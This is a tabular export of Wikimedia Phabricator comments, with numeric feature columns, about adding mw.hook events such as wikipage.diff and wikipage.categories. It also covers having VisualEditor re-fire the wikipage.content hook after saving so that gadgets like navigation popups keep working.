There are tools that modify the first heading, for example append a link to edit the lead section only. or to change the heading via JS in cases where DISPLAYTITLE can't be used (e.g. [[https://fr.wikipedia.org/wiki/J_sharp|fr:J sharp]]), just to name two examples. These scripts should run again when the content was updated.",,,1449131751,,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,False,,,126,,0.0,0.0,0.0,3.0,1.0,1.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,1.0,0.0,0.0,11.0,8.0,0.0,4.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,16.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,7.0,4.0,14.0,3.0,1.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,3.0,3.671232876712329,0.7534246575342466,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

There are tools that modify the first heading, for example append a link to edit the lead section only. or to change the heading via JS in cases where DISPLAYTITLE can't be used (e.g. [[URL sharp]]), just to name two examples. These scripts should run again when the content was updated."
571844,"Add more mw.hook events for wikipage: diff, categories etc.",Is this resolved? If not what's left to do?,,,1449100826,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,False,,,126,,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9166666666666665,0.9166666666666666,Is this resolved? If not what's left to do?
571365,"Add more mw.hook events for wikipage: diff, categories etc.",">>! In T53583#1606076, @Schnark wrote:
> Not mentioned yet, but IMHO makes sense, too: `#firstHeading`

Why?",,,1449062407,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,True,,,126,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8333333333333335,0.8333333333333334,"QUOTE
QUOTE

Why?"
570460,"Add more mw.hook events for wikipage: diff, categories etc.","Change 218275 merged by jenkins-bot:
Add a wikipage.diff hook

[[https://gerrit.wikimedia.org/r/218275]]",,,1448935559,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,False,,,126,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,16.0,3.6842105263157894,0.8947368421052632,"Change 218275 merged by jenkins-bot:
Add a wikipage.diff hook

[[GERRIT_URL]]"
520978,"Add more mw.hook events for wikipage: diff, categories etc.","Not mentioned yet, but IMHO makes sense, too: `#firstHeading`",,,1441362498,,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,False,,,113,,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.9166666666666666,"Not mentioned yet, but IMHO makes sense, too: CODE"
478758,"Add more mw.hook events for wikipage: diff, categories etc.","Change 219629 had a related patch set uploaded (by TheDJ):
Add wikipage.categories and wikipage.languages hooks

[[https://gerrit.wikimedia.org/r/219629]]
",,,1434906198,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,False,,,102,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.6,0.88,"Change 219629 had a related patch set uploaded (by TheDJ):
Add wikipage.categories and wikipage.languages hooks

[[GERRIT_URL]]
"
474408,"Add more mw.hook events for wikipage: diff, categories etc.","Change 218275 had a related patch set uploaded (by TheDJ):
Add a wikipage.diff hook

[[https://gerrit.wikimedia.org/r/218275]]
",,,1434320070,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,False,,,101,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,12.0,3.6666666666666665,0.8333333333333334,"Change 218275 had a related patch set uploaded (by TheDJ):
Add a wikipage.diff hook

[[GERRIT_URL]]
"
434220,"Add more mw.hook events for wikipage: diff, categories etc.","So, now that I'm so much further along with LivePreview, I'm pondering taking on some of these elements next. I was thinking starting with templatesUsed, hiddencats and limit report (I've selected them because they are EditPage only elements, should be a safe start).

Do we still agree that this is the right approach ? Or have ideas changed over the past 2 years ?",,,1427484714,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,True,,,90,,3.0,0.0,0.0,0.0,0.0,5.0,3.0,1.0,0.0,0.0,0.0,4.0,1.0,1.0,0.0,7.0,0.0,11.0,12.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,9.0,1.0,3.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,5.0,12.0,4.0,3.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,9.0,12.0,3.0,3.0,0.0,0.0,9.0,0.0,0.0,1.0,1.0,5.0,0.0,0.0,0.0,4.0,0.8289473684210527,"So, now that I'm so much further along with LivePreview, I'm pondering taking on some of these elements next. I was thinking starting with templatesUsed, hiddencats and limit report (I've selected them because they are EditPage only elements, should be a safe start).

Do we still agree that this is the right approach ? Or have ideas changed over the past 2 years ?"
232293,"Add more mw.hook events for wikipage: diff, categories etc.","Removing target milestone that was in the past.

If you want this in a specific release, have a good reason AND you are willing to find resources to fix this bug, feel free to change it to something appropriate.",,,1403380680,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,False,,,50,,0.0,2.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,7.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,5.0,7.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,16.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,3.9545454545454546,0.7954545454545454,"Removing target milestone that was in the past.

If you want this in a specific release, have a good reason AND you are willing to find resources to fix this bug, feel free to change it to something appropriate."
232286,"Add more mw.hook events for wikipage: diff, categories etc.",[Bumping TM as MediaWiki 1.22.0 tarball was released today.],,,1386383869,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,True,,,22,,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,4.333333333333333,1.0,[Bumping TM as MediaWiki 1.22.0 tarball was released today.]
232279,"Add more mw.hook events for wikipage: diff, categories etc.","As the Target Milestone on this ticket has been set to 1.22.0:

According to http://lists.wikimedia.org/pipermail/wikitech-l/2013-September/072030.html ""MediaWiki 1.22 is slated for release on November 30th, at the very latest.""

If this is still intended to get fixed for 1.22.0, a patch is needed soon.",,,1380208131,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,2.0,8.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,19.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,8.0,15.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,19.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,3.7115384615384617,0.75,"As the Target Milestone on this ticket has been set to 1.22.0:

According to URL ""MediaWiki 1.22 is slated for release on November 30th, at the very latest.""

If this is still intended to get fixed for 1.22.0, a patch is needed soon."
232269,"Add more mw.hook events for wikipage: diff, categories etc.","These are easy to add. Holding off until usage of ""wikipage.content"" is slightly more widespread and we have more use cases for these (e.g. will HotCat be able to use this? etc.)

If you need one of these hooks, please let it know here including a brief description of how/where you'd like to use it. That'll help to shape the details of exactly where these hooks would go.",,,1374111932,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,1.0,1.0,2.0,0.0,1.0,0.0,1.0,0.0,10.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,2.0,2.0,1.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,8.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,6.0,5.0,1.0,10.0,0.0,0.0,0.0,0.0,12.0,1.0,1.0,0.0,6.0,14.0,1.0,1.0,2.0,0.0,6.0,0.0,4.0,1.0,0.0,2.0,2.0,0.0,2.0,3.6987951807228914,0.7710843373493976,"These are easy to add. Holding off until usage of ""wikipage.content"" is slightly more widespread and we have more use cases for these (e.g. will HotCat be able to use this? etc.)

If you need one of these hooks, please let it know here including a brief description of how/where you'd like to use it. That'll help to shape the details of exactly where these hooks would go."
53565,"VisualEditor: Re-run wikipage content handlers (jquery.makeCollapsible, jquery.tablesorter) when rendering new revision after save","At the moment, the VE's refresh after save isn't a full refresh - it refreshes ""in place"", using the parsoid DOM. This isn't something things like gadgets or site JS recognise, and so the reloaded page lacks power user functionality. Save should simply refresh the page cleanly to avoid this issue.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1374087720,1383478009.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-a3yp2evtjuq3hjqdrvhc,task_description,resolved,True,c1,3,False,False,False,2,,0.0,1.0,0.0,0.0,2.0,5.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,10.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,6.0,6.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,4.0,0.7125,"At the moment, the VE's refresh after save isn't a full refresh - it refreshes ""in place"", using the parsoid DOM. This isn't something things like gadgets or site JS recognise, and so the reloaded page lacks power user functionality. Save should simply refresh the page cleanly to avoid this issue.

--------------------------
**Version**: unspecified
**Severity**: normal"
255890,"VisualEditor: Re-run wikipage content handlers (jquery.makeCollapsible, jquery.tablesorter) when rendering new revision after save",That's because the Math extension doesn't support this yet; see bug 36060.,,,1383478009,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-a3yp2evtjuq3hjqdrvhc,task_subcomment,,True,c1,3,True,,,17,,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,6.0,0.0,19.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9375,1.0,That's because the Math extension doesn't support this yet; see bug 36060.
255884,"VisualEditor: Re-run wikipage content handlers (jquery.makeCollapsible, jquery.tablesorter) when rendering new revision after save","Hmm... Visual editor still doesn't call MathJax after saving the page (all I see is the source code of the formulas, e.g. $ \mathbb{N} $).",,,1383474047,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-a3yp2evtjuq3hjqdrvhc,task_subcomment,,True,c1,3,False,,,17,,3.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.5625,0.90625,"Hmm... Visual editor still doesn't call MathJax after saving the page (all I see is the source code of the formulas, e.g. $ \mathbb{N} $)."
255878,"VisualEditor: Re-run wikipage content handlers (jquery.makeCollapsible, jquery.tablesorter) when rendering new revision after save","The code of the gadget is not using the 'wikipage.content' hook introduced to fix bug 30713 (and added to VE on Gerrit Change 76751):
https://en.wikipedia.org/wiki/MediaWiki:Gadget-popups.js

I've made a request for this on its talk page:
https://en.wikipedia.org/wiki/MediaWiki_talk:Gadget-popups.js#Use_the_.27wikipage.content.27_hook",,,1377303810,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-a3yp2evtjuq3hjqdrvhc,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,2.0,13.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,16.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,4.0,13.0,13.0,0.0,4.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.488888888888889,0.8666666666666667,"The code of the gadget is not using the 'wikipage.content' hook introduced to fix bug 30713 (and added to VE on Gerrit Change 76751):
URL

I've made a request for this on its talk page:
URL"
255870,"VisualEditor: Re-run wikipage content handlers (jquery.makeCollapsible, jquery.tablesorter) when rendering new revision after save","Javascript (or at least navigation popups) are again not working after a page is saved but do work when the page is reloaded.

To test:
1. Enable the navigation popups gadget
2. View any page editable in VE
3. Hover over any link to see a popup
4. Load the page in VE and save an edit (it doesn't mater what)
5. Hover over any link and fail to see a popup.
6. Reload the page, hover over the link and see a popup",,,1377185317,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-a3yp2evtjuq3hjqdrvhc,task_subcomment,,True,c1,3,False,,,7,,2.0,0.0,0.0,1.0,1.5,1.0,0.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,12.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,8.0,1.5,7.0,0.5,4.0,10.0,0.0,0.0,0.0,0.0,7.5,0.0,4.0,0.0,1.0,7.0,2.0,0.0,0.0,0.0,1.0,0.0,1.5,4.5,0.0,0.5,0.0,0.5,0.5,3.169811320754717,0.6981132075471699,"Javascript (or at least navigation popups) are again not working after a page is saved but do work when the page is reloaded.

To test:
1. Enable the navigation popups gadget
2. View any page editable in VE
3. Hover over any link to see a popup
4. Load the page in VE and save an edit (it doesn't mater what)
5. Hover over any link and fail to see a popup.
6. Reload the page, hover over the link and see a popup"
255864,"VisualEditor: Re-run wikipage content handlers (jquery.makeCollapsible, jquery.tablesorter) when rendering new revision after save",This is now merged and will be deployed later today.,,,1375218658,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-a3yp2evtjuq3hjqdrvhc,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.909090909090909,1.0,This is now merged and will be deployed later today.
255861,"VisualEditor: Re-run wikipage content handlers (jquery.makeCollapsible, jquery.tablesorter) when rendering new revision after save","Change 76751 merged by jenkins-bot:
mw.ViewPageTarget: Fire 'wikipage.content' hook after saving

https://gerrit.wikimedia.org/r/76751",,,1375217249,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-a3yp2evtjuq3hjqdrvhc,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.5,0.9090909090909091,"Change 76751 merged by jenkins-bot:
mw.ViewPageTarget: Fire 'wikipage.content' hook after saving

GERRIT_URL"
255857,"VisualEditor: Re-run wikipage content handlers (jquery.makeCollapsible, jquery.tablesorter) when rendering new revision after save","Change 76751 had a related patch set uploaded by Krinkle:
mw.ViewPageTarget: Fire 'wikipage.content' hook after saving

https://gerrit.wikimedia.org/r/76751",,,1375207097,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-a3yp2evtjuq3hjqdrvhc,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,20.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,16.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.64,0.92,"Change 76751 had a related patch set uploaded by Krinkle:
mw.ViewPageTarget: Fire 'wikipage.content' hook after saving

GERRIT_URL"
255852,"VisualEditor: Re-run wikipage content handlers (jquery.makeCollapsible, jquery.tablesorter) when rendering new revision after save","This hook will not fire in VisualEditor's editing mode. Nodes are protected and don't allow interaction anyway.

These hooks are for enhancements. Anything that's required for display should be handled by VisualEditor's ContentEditable node implementation (e.g. including Timeline, Math, etc.).",,,1375201616,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-a3yp2evtjuq3hjqdrvhc,task_subcomment,,True,c1,3,True,,,4,,0.0,2.0,0.0,4.0,4.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,13.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,17.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,7.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,4.0,4.7407407407407405,0.8148148148148148,"This hook will not fire in VisualEditor's editing mode. Nodes are protected and don't allow interaction anyway.

These hooks are for enhancements. Anything that's required for display should be handled by VisualEditor's ContentEditable node implementation (e.g. including Timeline, Math, etc.)."
255848,"VisualEditor: Re-run wikipage content handlers (jquery.makeCollapsible, jquery.tablesorter) when rendering new revision after save","Change 74313 merged by jenkins-bot:
mediawiki.page.ready: Use wikipage.content instead of domready

https://gerrit.wikimedia.org/r/74313",,,1374797897,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-a3yp2evtjuq3hjqdrvhc,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.611111111111111,0.9444444444444444,"Change 74313 merged by jenkins-bot:
mediawiki.page.ready: Use wikipage.content instead of domready

GERRIT_URL"
